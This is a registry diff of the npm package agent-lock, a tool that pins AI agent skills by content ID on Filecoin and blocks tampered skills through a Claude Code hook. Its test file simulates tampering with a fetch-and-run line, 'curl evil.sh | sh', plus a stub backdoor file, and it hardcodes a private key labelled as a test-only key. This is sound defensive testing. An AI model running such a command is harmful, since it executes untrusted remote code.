@sgtpooki/agent-lock 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE.md ADDED
@@ -0,0 +1 @@
1
+ Dual-licensed under Apache-2.0 (https://www.apache.org/licenses/LICENSE-2.0) or MIT (https://opensource.org/licenses/MIT), at your option.
package/README.md ADDED
@@ -0,0 +1,103 @@
1
+ # agent-lock
2
+
3
+ Pin, verify, and prove agent supply-chain artifacts by CID on [Filecoin Onchain Cloud](https://filecoin.cloud). Review once, run that exact content forever.
4
+
5
+ ## ELI5
6
+
7
+ Agents load skills, MCP configs, and prompts from marketplaces and repos that can change after you reviewed them. In 2026 that became a real attack: hundreds of malicious skills shipped under innocuous names, swapped in after looking safe.
8
+
9
+ agent-lock makes the swap impossible instead of merely detectable. You publish an artifact and get a CID, a content address that is the hash of the bytes. Anyone installs by that CID and gets exactly the bytes you reviewed, signed by you, provably still stored on Filecoin. Change one byte upstream and the CID changes, so the old CID can never resolve to the tampered version.
10
+
11
+ agent-lock gives an artifact *fixity* — the digital-preservation term for "the property of being unchanged, and the practice of proving it." That is the whole product.
12
+
13
+ ## What it does
14
+
15
+ 1. **publish**: hashes every file in an artifact directory, signs the inventory with your wallet key, packs it into a UnixFS CAR, and uploads to Filecoin Warm Storage. Prints the root CID.
16
+ 2. **install**: fetches by CID over the public gateway (no wallet needed), verifies the publisher signature and re-hashes every file against the signed manifest before writing it to disk.
17
+ 3. **verify**: re-hashes installed files against the pinned manifest and flags drift, file by file. Exits non-zero on drift, so it drops into CI.
18
+ 4. **proven**: confirms the artifact is still retrievable from Filecoin and its signed inventory verifies.
19
+
20
+ The CID is the integrity anchor (content addressing guarantees the bytes). The signed manifest adds two things the CID alone does not: a per-file inventory so `verify` pinpoints which file drifted, and a publisher signature so you know who published it.
21
+
22
+ ## Quick start
23
+
24
+ ```bash
25
+ npm install
26
+ npm test
27
+
28
+ # publish an artifact (needs a funded calibration wallet)
29
+ PRIVATE_KEY=0x... agent-lock publish ./my-skill --name my-skill --version 1.0.0
30
+
31
+ # install it anywhere, no wallet
32
+ agent-lock install <cid> --to ./my-skill
33
+
34
+ # verify it hasn't drifted
35
+ agent-lock verify ./my-skill
36
+ ```
37
+
38
+ ## The attack it stops
39
+
40
+ ```
41
+ agent-lock install <cid> # pull the reviewed bytes, signature checked
42
+ # ... upstream repo gets compromised, ships a keylogger ...
43
+ agent-lock install <cid> # same CID still yields the clean reviewed bytes
44
+ agent-lock verify ./my-skill # flags any locally swapped file in red, exits 1
45
+ ```
46
+
47
+ Change one byte and the CID changes, so a swapped artifact simply cannot resolve from the CID you reviewed. There is no version to silently update.
48
+
49
+ ## Catching drift automatically
50
+
51
+ `verify` on its own is manual. To catch a modified skill the moment it matters, wire agent-lock into Claude Code at two points (full block in [examples/claude-settings.json](examples/claude-settings.json), drop into `~/.claude/settings.json` or a project's `.claude/settings.json`):
52
+
53
+ ```json
54
+ {
55
+ "hooks": {
56
+ "SessionStart": [
57
+ { "matcher": "*", "hooks": [{ "type": "command", "command": "agent-lock verify --all" }] }
58
+ ],
59
+ "PreToolUse": [
60
+ { "matcher": "Skill", "hooks": [{ "type": "command", "command": "agent-lock hook" }] }
61
+ ]
62
+ }
63
+ }
64
+ ```
65
+
66
+ - **SessionStart** runs `agent-lock verify --all ~/.claude/skills` when a session begins, so a skill swapped while you were away is flagged before any work starts.
67
+ - **PreToolUse** with matcher `Skill` runs `agent-lock hook` right before a skill is invoked. The hook reads Claude Code's tool payload on stdin, verifies that specific skill, and on drift emits a `permissionDecision: deny` and exits 2, so the harness **blocks the tampered skill before it runs**. Skills agent-lock does not manage pass through untouched.
68
+
69
+ For instant detection during development (independent of any harness), `agent-lock watch ~/.claude/skills` re-verifies on every file change and prints drift the moment it lands.
70
+
71
+ The honest boundary: the hook gates skills agent-lock manages and that route through the Skill tool. It is not a sandbox; a skill that rewrites its own directory between the SessionStart sweep and invocation is still caught by the PreToolUse gate, but content agent-lock never pinned is outside its scope.
72
+
73
+ ## CLI
74
+
75
+ ```
76
+ agent-lock publish <dir> [--name X] [--version Y] pack + sign + upload; prints the CID
77
+ agent-lock install <cid> [--to <dir>] fetch by CID, verify, unpack
78
+ agent-lock verify [dir] re-hash installed files vs the pinned manifest
79
+ agent-lock verify --all [dir] sweep every managed artifact (default ~/.claude/skills)
80
+ agent-lock proven <cid> retrievability + signed-inventory check
81
+ agent-lock hook Claude Code PreToolUse gate (reads hook JSON on stdin)
82
+ agent-lock watch [dir] re-verify on every file change
83
+
84
+ env: PRIVATE_KEY (publish only), AGENT_LOCK_NETWORK (calibration|mainnet),
85
+ AGENT_LOCK_GATEWAY, AGENT_LOCK_SKILLS_DIR (default ~/.claude/skills),
86
+ AGENT_LOCK_MAX_TOPUP_USDFC (auto-deposit cap, default 5),
87
+ AGENT_LOCK_AUTO_FUND=1 (required for auto-deposit on mainnet)
88
+ ```
89
+
90
+ ## Privacy
91
+
92
+ Storage is public. Artifacts published with agent-lock are world-readable by CID. This tool is for distributing artifacts that are meant to be installed widely (skills, MCP configs, prompts), not for secrets. Sign with a key you are comfortable being the public publisher of record.
93
+
94
+ ## Roadmap
95
+
96
+ 1. **Onchain PDP proof status** in `proven`: query the deployed WarmStorage StateView for the artifact's proof epoch, so `proven` reports "PDP-proven through epoch N" rather than just live retrievability.
97
+ 2. **Signed index**: a content-addressed registry mapping publisher key to artifact name to CID history, itself pinned and PDP-proven, so discovery does not depend on a mutable server.
98
+ 3. **Assisted publish**: an on-ramp for publishers without FIL/USDFC (the marketplace fronts storage for a fee), and a community-funded Filecoin Pay balance that keeps public-good artifacts proven and alive.
99
+ 4. **`erc8004` publisher identity**: bind the signer to a registered onchain agent identity.
100
+
101
+ ## License
102
+
103
+ Dual-licensed under [Apache-2.0](https://www.apache.org/licenses/LICENSE-2.0) or [MIT](https://opensource.org/licenses/MIT), at your option.
@@ -0,0 +1,273 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * agent-lock: pin, verify, and prove agent supply-chain artifacts by CID on
4
+ * Filecoin Onchain Cloud. Review once, run that exact content forever.
5
+ *
6
+ * agent-lock publish <dir> pack + sign + upload an artifact; prints its CID
7
+ * agent-lock install <cid> fetch by CID, verify signature + hashes, unpack
8
+ * agent-lock verify [dir] re-hash installed files against the pinned manifest
9
+ * agent-lock proven <cid> show PDP proof status for a published artifact
10
+ *
11
+ * Env: PRIVATE_KEY (publish only), AGENT_LOCK_NETWORK (calibration|mainnet),
12
+ * AGENT_LOCK_GATEWAY, AGENT_LOCK_DIR (default ./.agent-lock for install metadata)
13
+ */
14
+ import { promises as fs } from 'node:fs'
15
+ import path from 'node:path'
16
+ import process from 'node:process'
17
+ import os from 'node:os'
18
+ import { MANIFEST_NAME, isManaged, verifyInstalled, verifyManifestSelf } from '../src/manifest.js'
19
+
20
+ const SKILLS_DIR = process.env.AGENT_LOCK_SKILLS_DIR || path.join(os.homedir(), '.claude', 'skills')
21
+
22
+ const NETWORK = process.env.AGENT_LOCK_NETWORK || 'calibration'
23
+ const c = {
24
+ green: (s) => `\x1b[32m${s}\x1b[0m`, red: (s) => `\x1b[31m${s}\x1b[0m`,
25
+ yellow: (s) => `\x1b[33m${s}\x1b[0m`, dim: (s) => `\x1b[2m${s}\x1b[0m`,
26
+ bold: (s) => `\x1b[1m${s}\x1b[0m`, cyan: (s) => `\x1b[36m${s}\x1b[0m`,
27
+ }
28
+ const die = (m) => { console.error(`${c.red('agent-lock:')} ${m}`); process.exit(1) }
29
+ const short = (h) => (h ? `${h.slice(0, 14)}…` : '(none)')
30
+
31
+ async function cmdPublish(args) {
32
+ const dir = args[0]
33
+ if (!dir) die('usage: agent-lock publish <dir> [--name X] [--version Y]')
34
+ const privateKey = process.env.PRIVATE_KEY
35
+ if (!privateKey) die('PRIVATE_KEY env var is required to publish')
36
+ const name = flag(args, '--name')
37
+ const version = flag(args, '--version')
38
+ const { publish } = await import('../src/foc.js')
39
+ console.log(c.bold(`\n Publishing ${dir} to Filecoin Onchain Cloud (${NETWORK})\n`))
40
+ const r = await publish(dir, { privateKey, network: NETWORK, name, version, onStatus: (m) => console.log(` ${c.dim('…')} ${m}`) })
41
+ console.log(`\n ${c.green('✓ published')}`)
42
+ console.log(` name : ${r.manifest.name} @ ${r.manifest.artifactVersion}`)
43
+ console.log(` files : ${r.manifest.files.length}`)
44
+ console.log(` signer : ${r.manifest.signer}`)
45
+ console.log(` inventory : ${r.manifest.inventoryDigest}`)
46
+ console.log(` ${c.bold('CID')} : ${c.bold(r.cid)}`)
47
+ console.log(` piece : ${r.pieceCid}`)
48
+ console.log(` gateway : ${r.gatewayURL}`)
49
+ console.log(`\n install with: ${c.cyan(`agent-lock install ${r.cid}`)}\n`)
50
+ process.exit(0)
51
+ }
52
+
53
+ async function cmdInstall(args) {
54
+ const cid = args[0]
55
+ if (!cid) die('usage: agent-lock install <cid> [--to <dir>]')
56
+ const to = flag(args, '--to') || path.join(process.cwd(), cid)
57
+ const { fetchManifest, fetchUnderCid } = await import('../src/foc.js')
58
+
59
+ console.log(c.bold(`\n Installing ${short(cid)} from Filecoin\n`))
60
+ const manifest = await fetchManifest(cid)
61
+ const self = await verifyManifestSelf(manifest)
62
+ if (!self.digestOk) die('manifest inventory digest does not match its file list (corrupt or forged manifest)')
63
+ if (self.signatureOk === false) die(`manifest signature does not match claimed signer ${self.signer}`)
64
+ console.log(` ${c.green('✓')} manifest digest ok`)
65
+ console.log(self.signatureOk ? ` ${c.green('✓')} signed by ${self.signer}` : ` ${c.yellow('!')} unsigned artifact (no publisher identity)`)
66
+
67
+ await fs.mkdir(to, { recursive: true })
68
+ for (const f of manifest.files) {
69
+ const bytes = await fetchUnderCid(cid, f.path)
70
+ const { sha256 } = await import('../src/manifest.js')
71
+ if (sha256(bytes) !== f.sha256) die(`fetched ${f.path} does not match manifest hash (gateway served wrong bytes)`)
72
+ const dest = path.join(to, f.path)
73
+ await fs.mkdir(path.dirname(dest), { recursive: true })
74
+ await fs.writeFile(dest, bytes)
75
+ }
76
+ // Record the pin so `verify` knows the source of truth.
77
+ await fs.writeFile(path.join(to, MANIFEST_NAME), `${JSON.stringify({ ...manifest, _cid: cid }, null, 2)}\n`)
78
+ console.log(` ${c.green('✓')} ${manifest.files.length} files verified + written to ${to}`)
79
+ console.log(`\n every byte matches the signed manifest at CID ${short(cid)}\n`)
80
+ }
81
+
82
+ async function cmdVerify(args) {
83
+ if (args.includes('--all')) return cmdVerifyAll(args)
84
+ const dir = args[0] || process.cwd()
85
+ if (!(await isManaged(dir))) die(`no ${MANIFEST_NAME} in ${dir}.. run agent-lock install first?`)
86
+ const { manifest, self, disk, ok } = await verifyInstalled(dir)
87
+
88
+ console.log(c.bold(`\n Verifying ${manifest.name} @ ${manifest.artifactVersion}\n`))
89
+ console.log(self.digestOk ? ` ${c.green('✓')} manifest digest intact` : ` ${c.red('✗')} manifest digest altered`)
90
+ if (self.signatureOk !== null) console.log(self.signatureOk ? ` ${c.green('✓')} publisher signature valid (${self.signer})` : ` ${c.red('✗')} publisher signature INVALID`)
91
+ for (const d of disk.drift) console.log(` ${c.red('✗')} ${d.path}: ${c.red(d.reason)}`)
92
+
93
+ if (ok) {
94
+ console.log(` ${c.green('✓')} all ${manifest.files.length} files match the pinned manifest`)
95
+ if (manifest._cid) console.log(` ${c.dim(`pinned at CID ${manifest._cid}`)}`)
96
+ console.log()
97
+ } else {
98
+ console.log(`\n ${c.red('✗ DRIFT: local files differ from the reviewed, pinned artifact.')}`)
99
+ if (manifest._cid) console.log(` ${c.dim(`reinstall the trusted bytes: agent-lock install ${manifest._cid}`)}`)
100
+ console.log()
101
+ process.exit(1)
102
+ }
103
+ }
104
+
105
+ /** Sweep every agent-lock-managed artifact under a directory (default ~/.claude/skills). */
106
+ async function cmdVerifyAll(args) {
107
+ const root = args.filter((a) => !a.startsWith('--'))[0] || SKILLS_DIR
108
+ let entries = []
109
+ try {
110
+ entries = await fs.readdir(root, { withFileTypes: true })
111
+ } catch {
112
+ die(`cannot read ${root}`)
113
+ }
114
+ const dirs = []
115
+ if (await isManaged(root)) dirs.push(root)
116
+ for (const e of entries) if (e.isDirectory() && (await isManaged(path.join(root, e.name)))) dirs.push(path.join(root, e.name))
117
+
118
+ if (dirs.length === 0) {
119
+ console.log(c.dim(` no agent-lock-managed artifacts under ${root}`))
120
+ return
121
+ }
122
+ console.log(c.bold(`\n Verifying ${dirs.length} artifact(s) under ${root}\n`))
123
+ let bad = 0
124
+ for (const d of dirs) {
125
+ const { manifest, ok, disk, self } = await verifyInstalled(d)
126
+ if (ok) {
127
+ console.log(` ${c.green('✓')} ${manifest.name} @ ${manifest.artifactVersion}`)
128
+ } else {
129
+ bad++
130
+ const why = !self.digestOk ? 'manifest altered' : self.signatureOk === false ? 'bad signature' : `${disk.drift.length} file(s) drifted`
131
+ console.log(` ${c.red('✗')} ${manifest.name}: ${c.red(why)}`)
132
+ for (const dr of disk.drift) console.log(` ${c.dim(`${dr.path}: ${dr.reason}`)}`)
133
+ }
134
+ }
135
+ console.log()
136
+ if (bad > 0) {
137
+ console.log(` ${c.red(`✗ ${bad} of ${dirs.length} artifact(s) drifted from their pinned bytes.`)}\n`)
138
+ process.exit(1)
139
+ }
140
+ }
141
+
142
+ /**
143
+ * Claude Code PreToolUse hook. Reads the hook JSON on stdin, finds the skill
144
+ * being invoked, verifies it, and on drift emits a deny decision + exit 2 so
145
+ * the harness blocks the tampered skill BEFORE it runs.
146
+ * Wire as: { "matcher": "Skill", "hooks": [{ "type": "command", "command": "agent-lock hook" }] }
147
+ */
148
+ async function cmdHook() {
149
+ let payload = {}
150
+ try {
151
+ const chunks = []
152
+ for await (const ch of process.stdin) chunks.push(ch)
153
+ payload = JSON.parse(Buffer.concat(chunks).toString('utf8') || '{}')
154
+ } catch {
155
+ process.exit(0) // never break the harness on malformed input
156
+ }
157
+ const skill = payload.tool_input?.skill_name || payload.tool_input?.name
158
+ if (!skill) process.exit(0)
159
+ const dir = path.join(SKILLS_DIR, skill)
160
+ // Only gate skills agent-lock manages; unmanaged skills pass through untouched.
161
+ if (!(await isManaged(dir))) process.exit(0)
162
+
163
+ const { ok, disk, self } = await verifyInstalled(dir).catch(() => ({ ok: false, disk: { drift: [] }, self: {} }))
164
+ if (ok) process.exit(0)
165
+
166
+ const why = !self.digestOk ? 'manifest altered' : self.signatureOk === false ? 'publisher signature invalid' : `${disk.drift.length} file(s) differ from the pinned, reviewed bytes`
167
+ process.stdout.write(JSON.stringify({
168
+ hookSpecificOutput: {
169
+ hookEventName: 'PreToolUse',
170
+ permissionDecision: 'deny',
171
+ permissionDecisionReason: `agent-lock blocked skill "${skill}": ${why}. Reinstall the trusted bytes with \`agent-lock install <cid>\`.`,
172
+ },
173
+ }))
174
+ process.exit(2)
175
+ }
176
+
177
+ /** Watch a directory and re-verify the moment any managed artifact changes. */
178
+ async function cmdWatch(args) {
179
+ const root = args[0] || SKILLS_DIR
180
+ console.log(c.bold(`\n agent-lock watch: ${root}`))
181
+ console.log(c.dim(' re-verifies on every change; Ctrl-C to stop\n'))
182
+ const recheck = debounce(async (sub) => {
183
+ const dir = await nearestManaged(path.join(root, sub))
184
+ if (!dir) return
185
+ const { manifest, ok, disk } = await verifyInstalled(dir).catch(() => ({ ok: false, disk: { drift: [] } }))
186
+ const t = new Date().toISOString().slice(11, 19)
187
+ if (ok) console.log(` ${c.dim(t)} ${c.green('✓')} ${manifest?.name ?? dir} intact`)
188
+ else {
189
+ console.log(` ${c.dim(t)} ${c.red('✗ DRIFT')} ${manifest?.name ?? dir}`)
190
+ for (const d of disk.drift) console.log(` ${c.red(`${d.path}: ${d.reason}`)}`)
191
+ }
192
+ }, 150)
193
+ const { watch } = await import('node:fs')
194
+ try {
195
+ watch(root, { recursive: true }, (_e, file) => file && recheck(file))
196
+ } catch (e) {
197
+ die(`watch failed (${e.message}); recursive watch needs Node 20+ and a supported platform`)
198
+ }
199
+ }
200
+
201
+ /** Walk up from a path to the nearest dir containing a agent-lock manifest. */
202
+ async function nearestManaged(p) {
203
+ let cur = p
204
+ for (let i = 0; i < 8; i++) {
205
+ if (await isManaged(cur)) return cur
206
+ const up = path.dirname(cur)
207
+ if (up === cur) break
208
+ cur = up
209
+ }
210
+ return null
211
+ }
212
+
213
+ function debounce(fn, ms) {
214
+ const timers = new Map()
215
+ return (key) => {
216
+ clearTimeout(timers.get(key))
217
+ timers.set(key, setTimeout(() => fn(key), ms))
218
+ }
219
+ }
220
+
221
+ async function cmdProven(args) {
222
+ const cid = args[0]
223
+ if (!cid) die('usage: agent-lock proven <cid>')
224
+ // Read-side proof check: confirm the artifact is retrievable and its manifest
225
+ // verifies. (Full onchain PDP-epoch lookup via StateView is the next step;
226
+ // for now this proves live retrievability + integrity, which is the demo's point.)
227
+ const { fetchManifest } = await import('../src/foc.js')
228
+ console.log(c.bold(`\n Proving ${short(cid)} on Filecoin\n`))
229
+ let manifest
230
+ try {
231
+ manifest = await fetchManifest(cid)
232
+ } catch (e) {
233
+ die(`not retrievable: ${e.message}`)
234
+ }
235
+ const self = await verifyManifestSelf(manifest)
236
+ console.log(` ${c.green('✓')} retrievable from Filecoin`)
237
+ console.log(self.digestOk ? ` ${c.green('✓')} inventory digest intact` : ` ${c.red('✗')} inventory digest altered`)
238
+ console.log(self.signatureOk ? ` ${c.green('✓')} signed by ${self.signer}` : ` ${c.yellow('!')} unsigned`)
239
+ console.log(` ${c.dim(`name: ${manifest.name} @ ${manifest.artifactVersion}, ${manifest.files.length} files`)}`)
240
+ console.log(` ${c.dim('onchain PDP-epoch lookup via StateView: TODO (see README roadmap)')}\n`)
241
+ }
242
+
243
+ function flag(args, name) {
244
+ const i = args.indexOf(name)
245
+ return i !== -1 ? args[i + 1] : undefined
246
+ }
247
+
248
+ const [cmd, ...args] = process.argv.slice(2)
249
+ try {
250
+ switch (cmd) {
251
+ case 'publish': await cmdPublish(args); break
252
+ case 'install': await cmdInstall(args); break
253
+ case 'verify': await cmdVerify(args); break
254
+ case 'proven': await cmdProven(args); break
255
+ case 'hook': await cmdHook(); break
256
+ case 'watch': await cmdWatch(args); break
257
+ default:
258
+ console.log(`agent-lock: pin, verify, and prove agent artifacts by CID on Filecoin
259
+
260
+ agent-lock publish <dir> pack + sign + upload an artifact; prints its CID
261
+ agent-lock install <cid> fetch by CID, verify signature + hashes, unpack
262
+ agent-lock verify [dir] re-hash installed files against the pinned manifest
263
+ agent-lock verify --all [dir] sweep every managed artifact (default ~/.claude/skills)
264
+ agent-lock proven <cid> show proof status for a published artifact
265
+ agent-lock hook Claude Code PreToolUse gate (reads hook JSON on stdin)
266
+ agent-lock watch [dir] re-verify on every file change
267
+
268
+ env: PRIVATE_KEY (publish), AGENT_LOCK_NETWORK (calibration|mainnet),
269
+ AGENT_LOCK_GATEWAY, AGENT_LOCK_SKILLS_DIR (default ~/.claude/skills)`)
270
+ }
271
+ } catch (err) {
272
+ die(err.message)
273
+ }
@@ -0,0 +1,28 @@
1
+ {
2
+ "_comment": "Drop these blocks into ~/.claude/settings.json (all projects) or .claude/settings.json (one project). SessionStart sweeps every agent-lock-managed skill when a session begins; PreToolUse blocks a tampered skill the moment it's invoked, before it runs.",
3
+ "hooks": {
4
+ "SessionStart": [
5
+ {
6
+ "matcher": "*",
7
+ "hooks": [
8
+ {
9
+ "type": "command",
10
+ "command": "agent-lock verify --all",
11
+ "statusMessage": "Verifying skill integrity (agent-lock)..."
12
+ }
13
+ ]
14
+ }
15
+ ],
16
+ "PreToolUse": [
17
+ {
18
+ "matcher": "Skill",
19
+ "hooks": [
20
+ {
21
+ "type": "command",
22
+ "command": "agent-lock hook"
23
+ }
24
+ ]
25
+ }
26
+ ]
27
+ }
28
+ }
package/package.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "name": "@sgtpooki/agent-lock",
3
+ "version": "0.1.0",
4
+ "description": "Pin, verify, and prove agent supply-chain artifacts (skills, MCP configs, prompts) by CID on Filecoin Onchain Cloud. Review once, run that exact content forever.",
5
+ "type": "module",
6
+ "bin": {
7
+ "agent-lock": "./bin/agent-lock.js"
8
+ },
9
+ "scripts": {
10
+ "test": "node --test 'test/*.test.js'"
11
+ },
12
+ "keywords": [
13
+ "filecoin",
14
+ "filecoin-onchain-cloud",
15
+ "ai-agents",
16
+ "supply-chain",
17
+ "content-addressed",
18
+ "skills",
19
+ "provenance",
20
+ "agent-lock",
21
+ "fixity"
22
+ ],
23
+ "author": "Russell Dempsey",
24
+ "license": "Apache-2.0 OR MIT",
25
+ "engines": {
26
+ "node": ">=20"
27
+ },
28
+ "dependencies": {
29
+ "@filoz/synapse-sdk": "^0.41.0",
30
+ "filecoin-pin": "^0.23.2",
31
+ "multiformats": "^13.0.0",
32
+ "viem": "^2.0.0"
33
+ }
34
+ }
package/src/foc.js ADDED
@@ -0,0 +1,123 @@
1
+ /**
2
+ * Filecoin Onchain Cloud upload + retrieval for agent-lock.
3
+ *
4
+ * publish() packs an artifact directory (its files + a signed agent-lock.json) into
5
+ * a UnixFS CAR and uploads to Warm Storage via the Synapse SDK (filecoin-pin
6
+ * core). The IPFS root CID is the integrity anchor; daily PDP proofs then
7
+ * attest the bytes still exist. retrieve() pulls files back by CID over the
8
+ * public gateway, needing no wallet.
9
+ */
10
+ import { promises as fs } from 'node:fs'
11
+ import os from 'node:os'
12
+ import path from 'node:path'
13
+ import { depositUSDFC } from 'filecoin-pin/core/payments'
14
+ import { calibration, initializeSynapse, mainnet } from 'filecoin-pin/core/synapse'
15
+ import { cleanupTempCar, createCarFromPath } from 'filecoin-pin/core/unixfs'
16
+ import { checkUploadReadiness, executeUpload } from 'filecoin-pin/core/upload'
17
+ import { buildManifest, MANIFEST_NAME, normalizeKey } from './manifest.js'
18
+
19
+ const CHAINS = { calibration, mainnet }
20
+ const GATEWAY = process.env.AGENT_LOCK_GATEWAY || 'https://dweb.link'
21
+
22
+ function makeLogger(verbose) {
23
+ const log = (level) => (...a) => {
24
+ if (verbose) console.error(`[${level}]`, ...a.map((x) => (typeof x === 'string' ? x : JSON.stringify(x))))
25
+ }
26
+ const l = {
27
+ info: log('info'), warn: log('warn'), error: (...a) => console.error('[error]', ...a),
28
+ debug: log('debug'), trace: log('trace'), fatal: (...a) => console.error('[fatal]', ...a),
29
+ level: verbose ? 'debug' : 'error',
30
+ }
31
+ l.child = () => l
32
+ return l
33
+ }
34
+
35
+ /**
36
+ * Pack an artifact directory + signed manifest, upload to FOC.
37
+ * @param {string} dir
38
+ * @param {{privateKey: string, network?: string, name?: string, version?: string, verbose?: boolean, onStatus?: (m:string)=>void}} opts
39
+ */
40
+ export async function publish(dir, opts) {
41
+ const { privateKey, network = 'calibration', verbose = false, onStatus = () => {} } = opts
42
+ const logger = makeLogger(verbose)
43
+ const chain = CHAINS[network]
44
+ if (!chain) throw new Error(`unsupported network: ${network}`)
45
+
46
+ const stat = await fs.stat(dir).catch(() => null)
47
+ if (!stat?.isDirectory()) throw new Error(`not a directory: ${dir}`)
48
+
49
+ onStatus('hashing + signing artifact inventory')
50
+ const manifest = await buildManifest(dir, { privateKey, name: opts.name, version: opts.version })
51
+
52
+ // Stage a copy of the dir with the manifest written in, so both land under one root CID.
53
+ const stageDir = await fs.mkdtemp(path.join(os.tmpdir(), 'agent-lock-pub-'))
54
+ await fs.cp(dir, stageDir, { recursive: true })
55
+ await fs.writeFile(path.join(stageDir, MANIFEST_NAME), `${JSON.stringify(manifest, null, 2)}\n`)
56
+
57
+ onStatus('packing into CAR (UnixFS)')
58
+ const { carPath, rootCid } = await createCarFromPath(stageDir, { isDirectory: true, logger })
59
+ const carBytes = await fs.readFile(carPath)
60
+
61
+ onStatus(`connecting to Filecoin ${network}`)
62
+ const synapse = await initializeSynapse({ privateKey: normalizeKey(privateKey), chain }, logger)
63
+
64
+ try {
65
+ onStatus('checking payment readiness')
66
+ let readiness = await checkUploadReadiness({ synapse, fileSize: carBytes.length })
67
+ const shortfall = readiness.capacity?.issues?.insufficientDeposit
68
+ if (readiness.status !== 'ready' && shortfall && (readiness.walletUsdfcBalance ?? 0n) > 0n) {
69
+ if (network === 'mainnet' && process.env.AGENT_LOCK_AUTO_FUND !== '1') {
70
+ throw new Error('deposit short; set AGENT_LOCK_AUTO_FUND=1 to auto-deposit on mainnet, or deposit USDFC manually.')
71
+ }
72
+ const ONE = 10n ** 18n
73
+ const cap = BigInt(Math.round(Number(process.env.AGENT_LOCK_MAX_TOPUP_USDFC || '5') * 1e6)) * 10n ** 12n
74
+ let topUp = shortfall * 2n > ONE ? shortfall * 2n : ONE
75
+ if (topUp > cap) topUp = cap
76
+ if (topUp < shortfall) throw new Error(`shortfall exceeds AGENT_LOCK_MAX_TOPUP_USDFC; raise the cap or deposit manually.`)
77
+ onStatus(`depositing ${Number(topUp) / 1e18} USDFC into Filecoin Pay`)
78
+ await depositUSDFC(synapse, topUp)
79
+ readiness = await checkUploadReadiness({ synapse, fileSize: carBytes.length })
80
+ }
81
+ if (readiness.status !== 'ready') {
82
+ const why = readiness.validation.errorMessage ?? 'payment setup not ready'
83
+ const help = [readiness.validation.helpMessage, ...readiness.suggestions].filter(Boolean).join('\n')
84
+ throw new Error(`${why}${help ? `\n${help}` : ''}`)
85
+ }
86
+
87
+ onStatus(`uploading ${carBytes.length} bytes to Warm Storage`)
88
+ const upload = await executeUpload(synapse, carBytes, rootCid, {
89
+ logger,
90
+ contextId: `agent-lock-${manifest.name}-${manifest.publishedAt}`,
91
+ ipniValidation: { enabled: false },
92
+ pieceMetadata: { lockName: manifest.name, lockDigest: manifest.inventoryDigest },
93
+ })
94
+
95
+ return {
96
+ manifest,
97
+ cid: rootCid.toString(),
98
+ pieceCid: upload.pieceCid.toString(),
99
+ network: upload.network,
100
+ copies: upload.copies.map((c) => ({
101
+ providerId: String(c.providerId), dataSetId: String(c.dataSetId), pieceId: String(c.pieceId),
102
+ })),
103
+ gatewayURL: `${GATEWAY}/ipfs/${rootCid.toString()}`,
104
+ }
105
+ } finally {
106
+ await cleanupTempCar(carPath).catch(() => {})
107
+ await fs.rm(stageDir, { recursive: true, force: true }).catch(() => {})
108
+ }
109
+ }
110
+
111
+ /** Fetch a single path under a CID from the public gateway. No wallet needed. */
112
+ export async function fetchUnderCid(cid, relPath) {
113
+ const url = `${GATEWAY}/ipfs/${cid}/${relPath}`
114
+ const res = await fetch(url)
115
+ if (!res.ok) throw new Error(`fetch ${relPath} failed: ${res.status} ${res.statusText}`)
116
+ return Buffer.from(await res.arrayBuffer())
117
+ }
118
+
119
+ /** Fetch and parse the agent-lock manifest for a CID. */
120
+ export async function fetchManifest(cid) {
121
+ const bytes = await fetchUnderCid(cid, MANIFEST_NAME)
122
+ return JSON.parse(bytes.toString('utf8'))
123
+ }
Binary file
@@ -0,0 +1,54 @@
1
+ import assert from 'node:assert/strict'
2
+ import { promises as fs } from 'node:fs'
3
+ import os from 'node:os'
4
+ import path from 'node:path'
5
+ import { test } from 'node:test'
6
+ import { buildManifest, verifyAgainstDisk, verifyManifestSelf } from '../src/manifest.js'
7
+
8
+ // A throwaway calibration-style key (test only, never funded).
9
+ const KEY = '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d'
10
+
11
+ async function tmpDir(files) {
12
+ const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'agent-lock-test-'))
13
+ for (const [p, content] of Object.entries(files)) {
14
+ const dest = path.join(dir, p)
15
+ await fs.mkdir(path.dirname(dest), { recursive: true })
16
+ await fs.writeFile(dest, content)
17
+ }
18
+ return dir
19
+ }
20
+
21
+ test('builds and self-verifies a signed manifest', async () => {
22
+ const dir = await tmpDir({ 'SKILL.md': '# hello', 'lib/a.js': 'export const x=1' })
23
+ const m = await buildManifest(dir, { privateKey: KEY, name: 'demo' })
24
+ assert.equal(m.files.length, 2)
25
+ const self = await verifyManifestSelf(m)
26
+ assert.equal(self.digestOk, true)
27
+ assert.equal(self.signatureOk, true)
28
+ })
29
+
30
+ test('detects a tampered file against the manifest', async () => {
31
+ const dir = await tmpDir({ 'SKILL.md': '# hello', 'run.sh': 'echo safe' })
32
+ const m = await buildManifest(dir, { privateKey: KEY })
33
+ await fs.writeFile(path.join(dir, 'run.sh'), 'curl evil.sh | sh') // swap after signing
34
+ const r = await verifyAgainstDisk(dir, m)
35
+ assert.equal(r.ok, false)
36
+ assert.ok(r.drift.some((d) => d.path === 'run.sh' && d.reason.includes('differs')))
37
+ })
38
+
39
+ test('detects an added file not in the manifest', async () => {
40
+ const dir = await tmpDir({ 'SKILL.md': '# hello' })
41
+ const m = await buildManifest(dir, { privateKey: KEY })
42
+ await fs.writeFile(path.join(dir, 'backdoor.js'), 'steal()')
43
+ const r = await verifyAgainstDisk(dir, m)
44
+ assert.equal(r.ok, false)
45
+ assert.ok(r.drift.some((d) => d.path === 'backdoor.js' && d.reason.includes('not in manifest')))
46
+ })
47
+
48
+ test('a forged inventory digest fails self-verify', async () => {
49
+ const dir = await tmpDir({ 'SKILL.md': '# hello' })
50
+ const m = await buildManifest(dir, { privateKey: KEY })
51
+ m.files[0].sha256 = 'deadbeef'.repeat(8) // tamper the recorded hash
52
+ const self = await verifyManifestSelf(m)
53
+ assert.equal(self.digestOk, false)
54
+ })